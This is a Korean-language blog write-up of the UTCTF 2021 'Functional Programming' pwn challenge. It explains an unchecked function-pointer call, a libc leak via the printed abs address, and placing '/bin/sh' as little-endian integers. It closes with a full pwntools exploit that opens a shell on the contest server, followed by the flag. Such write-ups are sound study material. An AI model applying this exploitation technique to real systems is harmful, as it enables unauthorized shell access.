Sechack

UTCTF 2021 - Functional Programming 풀이 본문

CTF

UTCTF 2021 - Functional Programming 풀이

Sechack 2021. 3. 15. 17:30
반응형

처음에 디컴파일 결과보고 쫄았던 문제이다. 70줄이나 되었던... 원래같으면 포기하고 다른문제 풀었을탠데 한번 자신을 믿어보기로 하고 분석해봤다.

 

 

위에서도 말했지만 디컴파일 결과가 타 문제보다 길어서 쫄았다. 하지만 핵심만 파악하면 간단하게 익스플로잇 할 수 있는 문제였다. 위에 부분은 조금 잘렸는데 변수 선언부분이다.

근데 대회때 볼때는 디컴파일 결과 70줄이었는데 왜 지금은 67줄이지... 디컴파일 결과도 상황에 따라서 바뀌나보다.

 

 

보호기법은 카나리, NX, PIE가 걸려있다. 어차피 이 문제에서는 의미없으므로 신경쓰지 않아도 된다.

 

위에 코드를 분석하면서 프로그램을 한번 실행해보았다.

 

 

대충 실행해보니까 사용자가 입력한 길이만큼 리스트 만들고 원하는 함수주소 입력하면 우리가 만들었던 리스트 인자로 주고 호출하는것같다. 아 바이너리 이름 더럽게 기네.

 

 

역시 내 예상이 맞았다. 함수 주소를 출력해주고 거기중에서 호출할 함수 주소를 16진수 형태로 입력받고(v9) 우리가 앞에서 만들었던 리스트 배열(v10)과 앞에서 입력한 함수 포인터(v8)를 넘겨준다. v9(v10, v8) 이러한 구문을 볼 수 있다. 그런데 별다른 주소 검증 과정이 없다. 즉 우리가 저기서 system함수의 주소를 입력하면 system함수를 호출할 수 있다는 말이다. 함수 리스트중에 abs함수 주소 이용해서 libc leak을 할 수 있다. system함수의 인자는 하나이므로 두번째 전달되는 인자는 신경쓸필요 없다. 64비트 바이너리니까 rsi에 들어갈텐데 system함수에서는 rdi만 가지고 실행할것이다.

 

함수의 인자로 전달되는 배열은 앞에서 우리가 입력한 값으로 만들어진다. 즉 /bin/sh를 배열에 넣고 abs함수를 통해

system함수의 주소를 구하고 호출할 함수를 선택하는 부분에서 system함수의 주소를 16진수 형태로 입력하면 셸이

따이게 될것이다.

 

 

 

보시다시피 배열은 char형으로 80byte이고 우리는 저 배열에다가 /bin/sh\x00을 넣으면 된다.

하지만 입력받을때 정수형으로 입력받는다. int자료형처럼 4바이트 단위로 입력이 들어간다.

그러면 우리는 문자열을 4바이트로 자른다음 10진수로 바꾸고 입력해야한다.

 

aaaa가 0x61616161이라는 사실은 다들 아실것이다. 그러면 저기서 스택에 aaaa를 넣으려면

0x61616161을 10진수로 바꾼 1633771873을 입력하면 aaaa라는 문자열이 들어갈것이다.

이런 원리로 처음에 리스트 길이를 2로 주고 /bin과 /sh를(문자열을 4바이트 단위로 잘랐다.)

가공해서 넣어주면 된다.

 

하지만 주의할점이 있다. 리틀 엔디안으로 저장되기 때문에 뒤집어서 nib/와 hs/를 각각 숫자로

바꿔서 넣어줘야 한다.

 

문자열을 16진수로 바꿔주는 사이트는 쉽게 찾을 수 있다. 그 사이트에서 각각 16진수로 변환한 후

10진수로 바꿔서 입력을 넣어주면 배열에 /bin/sh가 들어가게 되고 system함수의 인자로 전달되면서

셸이 따이게 될것이다.

 

from pwn import *

#p = process("./functionalprogramming")
r = remote("pwn.utctf.live", 5432)
e = ELF("./functionalprogramming")
libc = e.libc

_bin = int("0x6e69622f", 16) #nib/
_sh = int("0x68732f", 16) #hs/

r.sendline("2")
sleep(0.5)
r.sendline(str(_bin))
sleep(0.5)
r.sendline(str(_sh))

r.recvuntil("Abs: ")

libc_base = int(r.recv(14).decode(), 16) - libc.sym["abs"]
system = libc_base + libc.sym["system"]

r.sendline(hex(system))
sleep(0.5)
r.sendline(hex(system))

r.interactive()

 

전체 익스플로잇 코드이다. 주석에서도 보이다시피 리틀 엔디안을 고려해서 넣어줬다.

그리고 이상하게도 r.sendlineafter(": ", str(_bin))이 안먹혀서 (:를 못받아와서 무한 대기상태) 그냥 sendline쓰고

sleep좀 주었다.

 

 

익스플로잇에 성공하였다.

 

utflag{lambda_calculus_pog891234}

 

 

이 문제를 풀면서 코드 양에 쫄 필요가 없다는걸 깨달았다. 앞으로 분량 많은 바이너리도 쫄지않고 분석할것이다.

반응형
Comments